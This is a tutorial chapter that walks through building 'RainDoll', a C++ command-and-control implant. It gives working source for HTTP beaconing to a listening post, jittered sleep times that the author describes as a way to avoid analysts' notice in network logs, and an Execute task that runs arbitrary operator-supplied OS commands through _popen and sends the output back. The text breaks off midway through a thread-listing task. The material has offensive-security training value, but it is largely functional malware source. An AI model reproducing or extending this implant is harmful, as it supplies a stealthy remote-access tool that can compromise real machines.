We'll be building a basic implant called RainDoll with some simple tasking in this chapter. The tasks will be the following:
Ping: When receiving a ping message, respond back with a pong message.
Configure: Set implant specific options such as running status and dwell time.
Execute: Run OS commands provided by the user.
ListThreads: List the threads in a given process.
This implant will be talking to the HTTP listening post (Skytree) we built in the previous chapter. The implant source code is heavily based on a project by Josh Lospinoso and there are only minor modifications to the one authored by Josh. It was released as part of his talk on building implants with modern C++ called "C++ for Hackers" (https://vimeo.com/384348826). I highly recommend giving it a watch and checking out the GitHub repository. The talk is very easy to understand as a beginner and you'll learn some neat techniques about the modern C++ language along the way. If you're interested in C++, consider checking out his book on the subject called C++ Crash Course (https://nostarch.com/cppcrashcourse).
Prerequisites & Initial Files
For development, we'll be working on a Windows 10 64-bit system. This project will leverage a couple different libraries, including Boost. If you've never heard of Boost, it's an excellent resource for speeding up development with a wide array of out-of-the-box solutions to common programming challenges. Why should you use Boost libraries? According to the Boost website:
In a word, Productivity. Use of high-quality libraries like Boost speeds initial development, results in fewer bugs, reduces reinvention-of-the-wheel, and cuts long-term maintenance costs. And since Boost libraries tend to become de facto or de jure standards, many programmers are already familiar with them.
We'll also be using C++ Requests (https://github.com/whoshuu/cpr) and JSON for Modern C++ (https://github.com/nlohmann/json). These will help us easily send HTTP requests with C++ and handle JSON without a lot of hassle. Lastly, we're going to be making heavy use of Visual Studio 2019 and you'll want to ensure that it's installed/configured to use the "Desktop development with C++" workload (for help with getting this all setup, see the link here).
So without further ado, let's begin! The above mentioned libraries can be installed using the package manager vcpkg (for Quick Start instructions on Windows, see the link here). Ensure that it's downloaded/bootstrapped somewhere like C:\dev\vcpkg and then run the following commands in an elevated PowerShell prompt:
The installation of the Boost libraries in particular will probably take a while, so grab a tea or coffee while you wait. When the prerequisites are installed, we should be able to use them in our Visual Studio project successfully. Alternatively, Boost can be installed manually using the Getting Started guide and JSON for Modern C++ can be downloaded as a header here. C++ Requests can currently be built with vcpkg or Conan, as outlined here.
Let's begin creating our implant by opening up Visual Studio 2019 and creating a Blank Project named "RainDoll", ensure that the language used is C++17. This can be verified by looking at the following option: RainDoll Property Pages Window > General > C++ Language Standard > ISO C++ 17 Standard
Create a file and call it main.cpp in the Source Files folder. We'll start by specifying the details of the listening post we built in the previous chapter:
#ifdef _WIN32#defineWIN32_LEAN_AND_MEAN#endif#include<stdio.h>intmain(){ // Specify address, port and URI of listening post endpointconstauto host ="localhost";constauto port ="5000";constauto uri ="/results";}
Implant Project Headers
Now, we're going to get to work on defining the details of our Implant object, starting with the headers. Create a new file called implant.h in the Headers Files folder in the Solution Explorer and add in the following code:
#pragmaonce#define_SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING#include"tasks.h"#include<string>#include<string_view>#include<mutex>#include<future>#include<atomic>#include<vector>#include<random>#include<boost/property_tree/ptree.hpp>structImplant { // Our implant constructorImplant(std::string host, std::string port, std::string uri); // The thread for servicing tasks std::future<void> taskThread; // Our public functions that the implant exposesvoidbeacon();voidsetMeanDwell(double meanDwell);voidsetRunning(bool isRunning);voidserviceTasks();private: // Listening post endpoint argsconst std::string host, port, uri; // Variables for implant config, dwell time and running status std::exponential_distribution<double> dwellDistributionSeconds; std::atomic_bool isRunning; // Define our mutexes since we're doing async I/O stuff std::mutex taskMutex, resultsMutex; // Where we store our results boost::property_tree::ptree results; // Where we store our tasks std::vector<Task> tasks; // Generate random device std::random_device device;voidparseTasks(const std::string& response);[[nodiscard]] std::stringsendResults();};[[nodiscard]] std::stringsendHttpRequest(std::string_view host, std::string_view port, std::string_view uri, std::string_view payload);
We'll go one code block at a time and I'll explain the purpose of each section.
// Our implant constructorImplant(std::string host, std::string port, std::string uri);// The thread for servicing tasksstd::future<void> taskThread;// Our public functions that the implant exposesvoidbeacon();voidsetMeanDwell(double meanDwell);voidsetRunning(bool isRunning);voidserviceTasks();
First, we define the Implant constructor. Next, we declare a thread that will service our tasks so we can perform work asynchronously. Then, we define four public functions. We'll want to have a function that performs a beaconing loop and continuously communicates with our listening post. We also want to have functions that are related to configuring the implant such as setting how long the wait time is between beacons (dwell time) and the running status (on/off). Lastly, we want to have a function that will go through all the tasks received from the listening post and perform them on the target:
Once you've written the above code, we'll start defining the private variables and functions for the Implant object:
private: // Listening post endpoint argsconst std::string host, port, uri; // Variables for implant config, dwell time and running status std::exponential_distribution<double> dwellDistributionSeconds; std::atomic_bool isRunning; // Define our mutexes since we're doing async I/O stuff std::mutex taskMutex, resultsMutex; // Where we store our results boost::property_tree::ptree results; // Where we store our tasks std::vector<Task> tasks; // Generate random device std::random_device device;voidparseTasks(const std::string& response);[[nodiscard]] std::stringsendResults();
We define the variables to hold the details about our listening post. Next, we're declaring a variable for the dwell time and a simple Boolean for the running status. The dwellDistributionSeconds variable uses exponential distribution to produce a variable number of seconds to dwell for, ensuring that the communication pattern does not appear as a constant rate. We don't want the time between our beaconing requests to be constant because this appears highly suspicious to an analyst who might be reviewing network communications. We then declare some mutex variables that we will use to ensure our asynchronous I/O for the tasks and results are not interacting with things when they aren't supposed to. We'll use a property tree from the Boost library to store our results and pass a Task type to the vector template. We haven't defined a Task type yet so this will have a red squiggle underneath it, but we'll add that later. The last private variable is for generating a pseudo-random number.
As for our private functions, we'll be declaring a function to parse tasks from the listening post response and a function to send task results to the listening post. You'll notice that we have an attribute called "[[nodiscard]]" attached to the "sendResults()" function. This attribute means that if the function return value is not used, then the compiler should throw a warning because something is wrong. We never expect to be in a situation were we make a call to send results and discard the return value. To learn more about the "[[nodiscard]]" attribute, see the resources here and here.
Outside of the Implant object, we'll also be declaring a function to make the HTTP requests to the listening post. It will take the host, port and URI as arguments along with the payload we want to send:
That's it for the implant header, now let's move on to defining our tasks. Create a new file within the Header Files section in the Solution Explorer and call it tasks.h. It should contain the following code by the time we're done:
After the constructor, we provide a key to identify the task and call it "ping". We then declare a "run()" function that will return a Result object and mark it as "nodiscard". We haven't yet defined the Result object so this will appear with a red squiggle underneath. However, we'll add this in later so don't worry about it for now. Lastly, we specify a UUID to help track the individual tasks that are executing.
We'll work on the configure task next which will set the dwell time and running status:
After the constructor, we set a key to identify the task and call it "configure". The rest of the code is the same as the ping task, except that we have some private variables to store the mean dwell time value and the running status.
Lastly, we declare the function that will be responsible for parsing the tasks we receive from the listening post:
// REMEMBER: Any new tasks must be added here too!usingTask= std::variant<PingTask,ConfigureTask>;[[nodiscard]]TaskparseTaskFrom(const boost::property_tree::ptree& taskTree, std::function<void(constConfiguration&)> setter);
It's now time for us to fill out the contents of our last header file, go ahead and create a file named results.h and ensure it's created in the Header Files section. We'll be writing the following code:
The results object will contain a UUID to keep track of each result we return, a string variable to hold the contents of the result and a boolean to signal if the task was successful or not. We're finally ready to open up the main.cpp file again and add in the rest of our main code below the listening post endpoint variables:
// Instantiate our implant objectImplant implant{ host, port, uri };// Call the beacon method to start beaconing looptry {implant.beacon();}catch (const boost::system::system_error& se) {printf("\nSystem error: %s\n",se.what());}
As you can see in the code above, we instantiate an Implant object with the listening post details and then call the "beacon()" function to start the beaconing loop. The full contents of the main.cpp file should look like the following:
#ifdef _WIN32#defineWIN32_LEAN_AND_MEAN#endif#include"implant.h"#include<stdio.h>#include<boost/system/system_error.hpp>intmain(){ // Specify address, port and URI of listening post endpointconstauto host ="localhost";constauto port ="5000";constauto uri ="/results"; // Instantiate our implant object Implant implant{ host, port, uri }; // Call the beacon method to start beaconing looptry {implant.beacon(); }catch (const boost::system::system_error& se) {printf("\nSystem error: %s\n",se.what()); }}
Phew, that was a lot of work to lay out the boilerplate for our implant! But, we're now ready to get into the nitty gritty details of our implant logic.
Implant Code
The code you should have up to this point can be found in the folder called "chapter_3-1". Now, create a new file and call it implant.cpp, ensure it's created in the Source Files section. We'll be writing the following code in this part of the chapter, don't worry too much if you don't understand all of it. I'll be reviewing each major section shortly:
#ifdef _WIN32#defineWIN32_LEAN_AND_MEAN#endif#include"implant.h"#include"tasks.h"#include<string>#include<string_view>#include<iostream>#include<chrono>#include<algorithm>#include<boost/uuid/uuid_io.hpp>#include<boost/property_tree/json_parser.hpp>#include<boost/property_tree/ptree.hpp>#include<cpr/cpr.h>#include<nlohmann/json.hpp>usingjson= nlohmann::json;// Function to send an asynchronous HTTP POST request with a payload to the listening post[[nodiscard]] std::stringsendHttpRequest(std::string_view host, std::string_view port, std::string_view uri, std::string_view payload) { // Set all our request constantsautoconst serverAddress = host;autoconst serverPort = port;autoconst serverUri = uri;autoconst httpVersion =11;autoconst requestBody = json::parse(payload); // Construct our listening post endpoint URL from user args, only HTTP to start std::stringstream ss; ss <<"http://"<< serverAddress <<":"<< serverPort << serverUri; std::string fullServerUrl =ss.str(); // Make an asynchronous HTTP POST request to the listening post cpr::AsyncResponse asyncRequest = cpr::PostAsync(cpr::Url{ fullServerUrl }, cpr::Body{ requestBody.dump() }, cpr::Header{ {"Content-Type","application/json"} } ); // Retrieve the response when it's ready cpr::Response response =asyncRequest.get(); // Show the request contents std::cout <<"Request body: "<< requestBody << std::endl; // Return the body of the response from the listening post, may include new tasksreturnresponse.text;};// Method to enable/disable the running status on our implantvoid Implant::setRunning(bool isRunningIn) { isRunning = isRunningIn; }// Method to set the mean dwell time on our implantvoid Implant::setMeanDwell(double meanDwell) { // Exponential_distribution allows random jitter generation dwellDistributionSeconds = std::exponential_distribution<double>(1./ meanDwell);}// Method to send task results and receive new tasks[[nodiscard]] std::string Implant::sendResults() { // Local results variable boost::property_tree::ptree resultsLocal; // A scoped lock to perform a swap { std::scoped_lock<std::mutex> resultsLock{ resultsMutex };resultsLocal.swap(results); } // Format result contents std::stringstream resultsStringStream; boost::property_tree::write_json(resultsStringStream, resultsLocal); // Contact listening post with results and return any tasks receivedreturnsendHttpRequest(host, port, uri,resultsStringStream.str());}// Method to parse tasks received from listening postvoid Implant::parseTasks(const std::string& response) { // Local response variable std::stringstream responseStringStream{ response }; // Read response from listening post as JSON boost::property_tree::ptree tasksPropTree; boost::property_tree::read_json(responseStringStream, tasksPropTree); // Range based for-loop to parse tasks and push them into the tasks vector // Once this is done, the tasks are ready to be serviced by the implantfor (constauto& [taskTreeKey, taskTreeValue] : tasksPropTree) { // A scoped lock to push tasks into vector, push the task tree and setter for the configuration task {tasks.push_back(parseTaskFrom(taskTreeValue, [this](constauto& configuration) {setMeanDwell(configuration.meanDwell);setRunning(configuration.isRunning); }) ); } }}// Loop and go through the tasks received from the listening post, then service themvoid Implant::serviceTasks() {while (isRunning) { // Local tasks variable std::vector<Task> localTasks; // Scoped lock to perform a swap { std::scoped_lock<std::mutex> taskLock{ taskMutex };tasks.swap(localTasks); } // Range based for-loop to call the run() method on each task and add the results of tasksfor (constauto& task : localTasks) { // Call run() on each task and we'll get back values for id, contents and successconstauto [id, contents, success] = std::visit([](constauto& task) {returntask.run(); }, task); // Scoped lock to add task results { std::scoped_lock<std::mutex> resultsLock{ resultsMutex };results.add(boost::uuids::to_string(id) +".contents", contents);results.add(boost::uuids::to_string(id) +".success", success); } } // Go to sleep std::this_thread::sleep_for(std::chrono::seconds{ 1 }); }}// Method to start beaconing to the listening postvoid Implant::beacon() {while (isRunning) { // Try to contact the listening post and send results/get back tasks // Then, if tasks were received, parse and store them for execution // Tasks stored will be serviced by the task thread asynchronouslytry { std::cout <<"RainDoll is sending results to listening post...\n"<< std::endl;constauto serverResponse =sendResults(); std::cout <<"\nListening post response content: "<< serverResponse << std::endl; std::cout <<"\nParsing tasks received..."<< std::endl;parseTasks(serverResponse); std::cout <<"\n================================================\n"<< std::endl; }catch (const std::exception& e) {printf("\nBeaconing error: %s\n",e.what()); } // Sleep for a set duration with jitter and beacon again laterconstauto sleepTimeDouble =dwellDistributionSeconds(device);constauto sleepTimeChrono = std::chrono::seconds{ static_cast<unsignedlonglong>(sleepTimeDouble) }; std::this_thread::sleep_for(sleepTimeChrono); }}// Initialize variables for our objectImplant::Implant(std::string host, std::string port, std::string uri) : // Listening post endpoint URL arguments host{ std::move(host) }, port{ std::move(port) }, uri{ std::move(uri) }, // Options for configuration settings isRunning{ true }, dwellDistributionSeconds{ 1. }, // Thread that runs all our tasks, performs asynchronous I/O taskThread{ std::async(std::launch::async, [this] { serviceTasks(); }) } {}
First thing we'll do is write a function to perform the HTTP requests to the listening post. This is the section that makes use of C++ Requests (https://github.com/whoshuu/cpr) and JSON for Modern C++ (https://github.com/nlohmann/json). Ensure that both of these headers are loaded and available for use in the project before proceeding with writing the rest of the implant code:
// Function to send an asynchronous HTTP POST request with a payload to the listening post[[nodiscard]] std::stringsendHttpRequest(std::string_view host, std::string_view port, std::string_view uri, std::string_view payload) { // Set all our request constantsautoconst serverAddress = host;autoconst serverPort = port;autoconst serverUri = uri;autoconst httpVersion =11;autoconst requestBody = json::parse(payload); // Construct our listening post endpoint URL from user args, only HTTP to start std::stringstream ss; ss <<"http://"<< serverAddress <<":"<< serverPort << serverUri; std::string fullServerUrl =ss.str(); // Make an asynchronous HTTP POST request to the listening post cpr::AsyncResponse asyncRequest = cpr::PostAsync(cpr::Url{ fullServerUrl }, cpr::Body{ requestBody.dump() }, cpr::Header{ {"Content-Type","application/json"} } ); // Retrieve the response when it's ready cpr::Response response =asyncRequest.get(); // Show the request contents std::cout <<"Request body: "<< requestBody << std::endl; // Return the body of the response from the listening post, may include new tasksreturnresponse.text;};
We start out by setting all the constants for the HTTP request including the address of the server and port, the HTTP protocol version (1.1) and the request body that will hold our JSON payload. Next, we construct the full server URL out of the constants and make an asynchronous HTTP POST request to the server with our request body. The request body will be what holds the results of any tasks that were run previously. Finally, we store the response and return the response text to the function caller.
In the next section, we'll cover the functions needed for setting the implant running status and mean dwell time:
// Method to enable/disable the running status on our implantvoid Implant::setRunning(bool isRunningIn) { isRunning = isRunningIn; }// Method to set the mean dwell time on our implantvoid Implant::setMeanDwell(double meanDwell) { // Exponential_distribution allows random jitter generation dwellDistributionSeconds = std::exponential_distribution<double>(1./ meanDwell);}
The setRunning() function takes a Boolean and sets the "isRunning" flag. This will tell the implant if it should continue running task code or if it should terminate and cease all functioning. The "setMeanDwell" function will be what tells the implant how often it should contact the listening post for instructions or how long it should "dwell" for. Again, it's generally a bad idea to have a consistent dwell time, because it sticks out like a sore thumb in network logs. If a defender looks into the network traffic and sees something beaconing out to the internet every 5 minutes like clockwork. That is the type of thing that will warrant further investigation. However, if like most traffic that's going out to the internet, your dwell time is less consistent, then you will blend in more. That's why, we use an exponential distribution to give our dwell time random jitter or variations in time that will appear random.
Next, we'll look at the function to send task results to the listening post:
// Method to send task results and receive new tasks[[nodiscard]] std::string Implant::sendResults() { // Local results variable boost::property_tree::ptree resultsLocal; // A scoped lock to perform a swap { std::scoped_lock<std::mutex> resultsLock{ resultsMutex };resultsLocal.swap(results); } // Format result contents std::stringstream resultsStringStream; boost::property_tree::write_json(resultsStringStream, resultsLocal); // Contact listening post with results and return any tasks receivedreturnsendHttpRequest(host, port, uri,resultsStringStream.str());}
We use the Boost Property Tree type to store the results in JSON format. We'll use a scoped lock to swap the values of the results into the local variable "resultsLocal". Using a scoped lock is necessary because we're doing things asynchronously and we want to ensure that we're not stepping on another thread's toes while we swap to get the task results. Finally, we format the result contents and pass the request body to the "sendHttpRequest" function for delivery to our listening post.
Now that we've got a function to send results, let's look at the "parseTasks" function to process implant tasks:
// Method to parse tasks received from listening postvoid Implant::parseTasks(const std::string& response) { // Local response variable std::stringstream responseStringStream{ response }; // Read response from listening post as JSON boost::property_tree::ptree tasksPropTree; boost::property_tree::read_json(responseStringStream, tasksPropTree); // Range based for-loop to parse tasks and push them into the tasks vector // Once this is done, the tasks are ready to be serviced by the implantfor (constauto& [taskTreeKey, taskTreeValue] : tasksPropTree) { // A scoped lock to push tasks into vector, push the task tree and setter for the configuration task {tasks.push_back(parseTaskFrom(taskTreeValue, [this](constauto& configuration) {setMeanDwell(configuration.meanDwell);setRunning(configuration.isRunning); }) ); } }}
The first thing we do is declare a String Stream variable to hold the response with the tasks we got from the listening post. We read the response as a JSON message and then for each key-value pair, we push them into a vector called "tasks". We also call the setter functions "setMeanDwell" and "setRunning" for the implant configuration.
We're almost done going over all the code in the implant section, the last major thing we want to do is go through all the tasks and run the code to execute them in a dedicated thread. Let's talk about the "serviceTasks" function:
// Loop and go through the tasks received from the listening post, then service themvoid Implant::serviceTasks() {while (isRunning) { // Local tasks variable std::vector<Task> localTasks; // Scoped lock to perform a swap { std::scoped_lock<std::mutex> taskLock{ taskMutex };tasks.swap(localTasks); } // Range based for-loop to call the run() method on each task and add the results of tasksfor (constauto& task : localTasks) { // Call run() on each task and we'll get back values for id, contents and successconstauto [id, contents, success] = std::visit([](constauto& task) {returntask.run(); }, task); // Scoped lock to add task results { std::scoped_lock<std::mutex> resultsLock{ resultsMutex };results.add(boost::uuids::to_string(id) +".contents", contents);results.add(boost::uuids::to_string(id) +".success", success); } } // Go to sleep std::this_thread::sleep_for(std::chrono::seconds{ 1 }); }}
We begin with a while-loop that runs based on the status of the Boolean "isRunning" flag that's set in our implant configuration object. Then, we declare a local vector variable for storing our tasks. After that, we have a scoped lock and we access the object that holds the tasks we got back from the listening post, then push them into our "localTasks" variable. Again, we use the scoped lock because we're performing these actions asynchronously and we want avoid stepping on another thread's toes. Finally, we use a for-loop to go through each task and call their declared "run" method. We place the returned "id", "contents" and "success" values into respective variables. We then enter a scoped lock to call the "results.add()" function and store our task results/success status. Then, we tell the thread to go to sleep for 1 second.
We can now put everything together and talk about the "beacon" function that runs a while-loop:
// Method to start beaconing to the listening postvoid Implant::beacon() {while (isRunning) { // Try to contact the listening post and send results/get back tasks // Then, if tasks were received, parse and store them for execution // Tasks stored will be serviced by the task thread asynchronouslytry { std::cout <<"RainDoll is sending results to listening post...\n"<< std::endl;constauto serverResponse =sendResults(); std::cout <<"\nListening post response content: "<< serverResponse << std::endl; std::cout <<"\nParsing tasks received..."<< std::endl;parseTasks(serverResponse); std::cout <<"\n================================================\n"<< std::endl; }catch (const std::exception& e) {printf("\nBeaconing error: %s\n",e.what()); } // Sleep for a set duration with jitter and beacon again laterconstauto sleepTimeDouble =dwellDistributionSeconds(device);constauto sleepTimeChrono = std::chrono::seconds{ static_cast<unsignedlonglong>(sleepTimeDouble) }; std::this_thread::sleep_for(sleepTimeChrono); }}
The loop we see in the above code runs based on the value of the "isRunning" variable. It's going to try and contact the listening post by sending any task results (or a blank JSON payload if there are no results). Then, it's going to parse the tasks received from the listening post inside the "serverResponse" variable. The "serviceTasks" thread that's running asynchronously will execute each task after they're parsed and stored. Finally, we sleep for a jittered amount of time so we aren't sending requests too regularly and can appear less suspicious in network traffic.
The last minor block of code to cover is the Implant constructor:
The above code block is relatively straightforward, we're moving the listening post endpoint URL arguments from the user into variables and setting the initial options for the implant configuration. Lastly, we start the task thread that will run the "serviceTasks" function and actually run all of our task code.
Results Code
The portion of the code dealing with task results will be pretty short, go ahead and create a results.cpp file within the Source Files directory. The contents will be as follows.
#ifdef _WIN32#defineWIN32_LEAN_AND_MEAN#endif#include"results.h"// Result object returned by all tasks// Includes the task ID, result contents and success status (true/false)Result::Result(const boost::uuids::uuid& id, std::string contents,constbool success) : id(id), contents{ std::move(contents) },success(success) {}
As you can see, we are simply declaring the Result object that instantiates an id, result contents and the success status of the task. That's all for the results section, let's move on to the next portion of our implant, the tasks themselves!
Tasks Code
So far, we've gone over our implant logic and the results, we now need to define what each of the tasks do when they're requested by an operator from the listening post. Our finished tasks code will be created in a file called tasks.cpp within the Source Files directory. We'll go over each section in detail, so don't worry about trying to understand all of this right away:
#ifdef _WIN32#defineWIN32_LEAN_AND_MEAN#endif#include"tasks.h"#include<string>#include<array>#include<sstream>#include<fstream>#include<cstdlib>#include<boost/uuid/uuid_io.hpp>#include<boost/property_tree/ptree.hpp>#include<Windows.h>#include<tlhelp32.h>// Function to parse the tasks from the property tree returned by the listening post// Execute each task according to the key specified (e.g. Got task_type of "ping"? Run the PingTask)[[nodiscard]]TaskparseTaskFrom(const boost::property_tree::ptree& taskTree, std::function<void(constConfiguration&)> setter) { // Get the task type and identifier, declare our variablesconstauto taskType =taskTree.get_child("task_type").get_value<std::string>();constauto idString =taskTree.get_child("task_id").get_value<std::string>(); std::stringstream idStringStream{ idString }; boost::uuids::uuid id{}; idStringStream >> id; // Conditionals to determine which task should be executed based on key provided // REMEMBER: Any new tasks must be added to the conditional check, along with arg values // ===========================================================================================if (taskType == PingTask::key) {return PingTask{ id }; }if (taskType == ConfigureTask::key) {return ConfigureTask{ id,taskTree.get_child("dwell").get_value<double>(),taskTree.get_child("running").get_value<bool>(), std::move(setter) }; } // =========================================================================================== // No conditionals matched, so an undefined task type must have been provided and we error out std::string errorMsg{ "Illegal task type encountered: " };errorMsg.append(taskType);throw std::logic_error{ errorMsg };}// Instantiate the implant configurationConfiguration::Configuration(constdouble meanDwell,constbool isRunning) : meanDwell(meanDwell),isRunning(isRunning) {}// Tasks// ===========================================================================================// PingTask// -------------------------------------------------------------------------------------------PingTask::PingTask(const boost::uuids::uuid& id) : id{ id } {}Result PingTask::run() const {constauto pingResult ="PONG!";return Result{ id, pingResult,true };}// ConfigureTask// -------------------------------------------------------------------------------------------ConfigureTask::ConfigureTask(const boost::uuids::uuid& id,double meanDwell,bool isRunning, std::function<void(const Configuration&)> setter) : id{ id }, meanDwell{ meanDwell }, isRunning{ isRunning }, setter{ std::move(setter) } {}Result ConfigureTask::run() const { // Call setter to set the implant configuration, mean dwell time and running statussetter(Configuration{ meanDwell, isRunning });return Result{ id,"Configuration successful!",true };}// ===========================================================================================
The section we'll focus on first is the block that deals with parsing the tasks and calling the returning the proper task objects:
// Function to parse the tasks from the property tree returned by the listening post// Execute each task according to the key specified (e.g. Got task_type of "ping"? Run the PingTask)[[nodiscard]]TaskparseTaskFrom(const boost::property_tree::ptree& taskTree, std::function<void(constConfiguration&)> setter) { // Get the task type and identifier, declare our variablesconstauto taskType =taskTree.get_child("task_type").get_value<std::string>();constauto idString =taskTree.get_child("task_id").get_value<std::string>(); std::stringstream idStringStream{ idString }; boost::uuids::uuid id{}; idStringStream >> id; // Conditionals to determine which task should be executed based on key provided // REMEMBER: Any new tasks must be added to the conditional check, along with arg values // ===========================================================================================if (taskType == PingTask::key) {return PingTask{ id }; }if (taskType == ConfigureTask::key) {return ConfigureTask{ id,taskTree.get_child("dwell").get_value<double>(),taskTree.get_child("running").get_value<bool>(), std::move(setter) }; } // =========================================================================================== // No conditionals matched, so an undefined task type must have been provided and we error out std::string errorMsg{ "Illegal task type encountered: " };errorMsg.append(taskType);throw std::logic_error{ errorMsg };}
The "parseTaskFrom" function starts by accessing the task tree passed in by the user, then setting the corresponding task type and task ID variables. Recall that the task tree being parsed is the JSON message that was received from the listening post and it will be what contains the requested operator tasks. We then check to see which task we need to execute by doing some if-conditional logic. So, if the variable for "taskType" has a value that's equal to the Ping task key, then we return a Ping task object and the associated "run" method containing the task code will be called.
We need to declare this if-conditional logic for every task type that we add. The good news is that the code will be the same for every task. The only thing to keep in mind is that, if we want to pass any parameters to the task, we'll want to declare those parameters within the task code. For the Ping task, we don't need to pass any parameters. But, for the Configure task, we will need to pass a variable for the dwell time, running status and a setter function. Lastly, we have an error message that we throw if nothing matched.
The next section we'll cover is the actual code for each task, currently it's just Ping and Configure. We'll be adding more tasks after we perform a test run of the current implant code to ensure everything is working as expected:
// Tasks// ===========================================================================================// PingTask// -------------------------------------------------------------------------------------------PingTask::PingTask(const boost::uuids::uuid& id) : id{ id } {}Result PingTask::run() const {constauto pingResult ="PONG!";return Result{ id, pingResult,true };}// ConfigureTask// -------------------------------------------------------------------------------------------// Instantiate the implant configurationConfiguration::Configuration(constdouble meanDwell,constbool isRunning) : meanDwell(meanDwell),isRunning(isRunning) {}ConfigureTask::ConfigureTask(const boost::uuids::uuid& id,double meanDwell,bool isRunning, std::function<void(const Configuration&)> setter) : id{ id }, meanDwell{ meanDwell }, isRunning{ isRunning }, setter{ std::move(setter) } {}Result ConfigureTask::run() const { // Call setter to set the implant configuration, mean dwell time and running statussetter(Configuration{ meanDwell, isRunning });return Result{ id,"Configuration successful!",true };}// ===========================================================================================
The Ping task starts out by defining the constructor, which just instantiates the "id" variable. Next, are the actions that the task will perform within the "run" method. In the case of Ping, all it's going to do is set a variable called "pingResult" with the text "PONG!". Then, it's going to return a Result object with the result ID, the contents of the pingResult variable and a success status of "true". So, what we should see happen, is that an operator can request the Ping task from the listening post and the implant should respond with "PONG!" in the result contents.
The Configure task is a bit more involved, but it still follows the same general template as the Ping task. First, we need to have a Configuration object, so we declare a constructor that will instantiate the mean dwell time and running status variables. Next, we have our Configure task object constructor that will instantiate the mean dwell time, running status and a setter function. The Configure "run" method will call the setter to define the mean dwell time and running status for the implant configuration. Then, it returns a Result object with the result ID, a string of "Configuration successful!" in the result contents and a success status of "true".
That's it for our implant code! I think we're ready to do a test run with the Ping and Configure tasks to verify that everything is working right.
Implant Test Drive
Start out by building the implant project for x64 platforms and ensuring that there's no errors. If you need a copy of the project so far, you can find it in the folder called "chapter3-2". Start the Skytree listening post by navigating to the "Skytree" folder and running python listening_post.py . After it's running, navigate to http://127.0.0.1:5000/tasks and you should see an empty array. Open up the implant build output folder and run the "RainDoll.exe" file from a command prompt. You should start seeing some messages like the following:
RainDoll is sending results to listening post...Request body: {}Listening post response content: []Parsing tasks received...
If you see the above, you're ready to start sending some tasks to the implant. Make an "AddTasks" POST request that will look like the following:
POST /tasks HTTP/1.1Host: localhost:5000Content-Type: application/json[ {"task_type":"ping" }, {"task_type":"configure","dwell":"10","running":"true" }]
You can run the following copy and paste the following Powershell command to send the above request:
You'll note that the results include the task ID, the result contents and the success status of "true" for both tasks we requested. With that, we've successfully completed a full end-to-end flow of requesting a task from our listening post, having the implant run our tasks and seeing the results!
The last thing we'll cover in this chapter is how to add new tasks to the existing code. We'll use this knowledge to build an OS command execution task and a task to list threads. That will round out our basic implant and serve as a solid code foundation moving forward.
Adding New Implant Tasks
The first thing we need to do when we want to add new tasks is open the tasks.h header file. We'll add the definitions for our Execute and List Threads task (based on the Microsoft docs sample here), along with some minor changes to the variant such that it looks like the following:
As you can see, the general layout is we write the constructor and then declare what the key is for the task. This is the text value we'll be sending from the listening post to specify the task we want to run and is what we write in the "AddTask" request. For the Execute task, the key is going to be "execute" and for List Threads, the key will be "list-threads". Then, we specify that we have a "run" method with an attribute of "[[nodiscard]]" because we don't expect to be in a situation where we don't do something with the return value. Lastly, we have an ID variable and a section for private variables specific to individual tasks. For Execute, it's the OS command we want to run and for List Threads, it's the process ID we want to list threads for.
The last thing we need to modify in the header file is the variant:
// REMEMBER: Any new tasks must be added here too!usingTask= std::variant<PingTask,ConfigureTask,ExecuteTask,ListThreadsTask>;
You can see that we have added an "ExecuteTask" and "ListThreadsTask" to this variant. You'll need to remember that any new tasks will also need to be included here.
We're ready to move on now to the tasks.cpp file where we'll add in the actual code for our new tasks. When we're all done, it should look like this:
#ifdef _WIN32#defineWIN32_LEAN_AND_MEAN#endif#include"tasks.h"#include<string>#include<array>#include<sstream>#include<fstream>#include<cstdlib>#include<boost/uuid/uuid_io.hpp>#include<boost/property_tree/ptree.hpp>#include<Windows.h>#include<tlhelp32.h>// Function to parse the tasks from the property tree returned by the listening post// Execute each task according to the key specified (e.g. Got task_type of "ping"? Run the PingTask)[[nodiscard]]TaskparseTaskFrom(const boost::property_tree::ptree& taskTree, std::function<void(constConfiguration&)> setter) { // Get the task type and identifier, declare our variablesconstauto taskType =taskTree.get_child("task_type").get_value<std::string>();constauto idString =taskTree.get_child("task_id").get_value<std::string>(); std::stringstream idStringStream{ idString }; boost::uuids::uuid id{}; idStringStream >> id; // Conditionals to determine which task should be executed based on key provided // REMEMBER: Any new tasks must be added to the conditional check, along with arg values // ===========================================================================================if (taskType == PingTask::key) {return PingTask{ id }; }if (taskType == ConfigureTask::key) {return ConfigureTask{ id,taskTree.get_child("dwell").get_value<double>(),taskTree.get_child("running").get_value<bool>(), std::move(setter) }; }if (taskType == ExecuteTask::key) {return ExecuteTask{ id,taskTree.get_child("command").get_value<std::string>() }; }if (taskType == ListThreadsTask::key) {return ListThreadsTask{ id,taskTree.get_child("procid").get_value<std::string>() }; } // =========================================================================================== // No conditionals matched, so an undefined task type must have been provided and we error out std::string errorMsg{ "Illegal task type encountered: " };errorMsg.append(taskType);throw std::logic_error{ errorMsg };}// Tasks// ===========================================================================================// PingTask// -------------------------------------------------------------------------------------------PingTask::PingTask(const boost::uuids::uuid& id) : id{ id } {}Result PingTask::run() const {constauto pingResult ="PONG!";return Result{ id, pingResult,true };}// ConfigureTask// -------------------------------------------------------------------------------------------// Instantiate the implant configurationConfiguration::Configuration(constdouble meanDwell,constbool isRunning) : meanDwell(meanDwell),isRunning(isRunning) {}ConfigureTask::ConfigureTask(const boost::uuids::uuid& id,double meanDwell,bool isRunning, std::function<void(const Configuration&)> setter) : id{ id }, meanDwell{ meanDwell }, isRunning{ isRunning }, setter{ std::move(setter) } {}Result ConfigureTask::run() const { // Call setter to set the implant configuration, mean dwell time and running statussetter(Configuration{ meanDwell, isRunning });return Result{ id,"Configuration successful!",true };}// ExecuteTask// -------------------------------------------------------------------------------------------ExecuteTask::ExecuteTask(const boost::uuids::uuid& id, std::string command) : id{ id }, command{ std::move(command) } {}Result ExecuteTask::run() const { std::string result;try { std::array<char,128> buffer{}; std::unique_ptr<FILE,decltype(&_pclose)> pipe{_popen(command.c_str(),"r"), _pclose };if (!pipe)throw std::runtime_error("Failed to open pipe.");while (fgets(buffer.data(),buffer.size(),pipe.get()) !=nullptr) { result +=buffer.data(); }return Result{ id, std::move(result),true }; }catch (const std::exception& e) {return Result{ id,e.what(),false }; }}// ListThreadsTask// -------------------------------------------------------------------------------------------ListThreadsTask::ListThreadsTask(const boost::uuids::uuid& id, std::string processId) : id{ id }, processId{ processId } 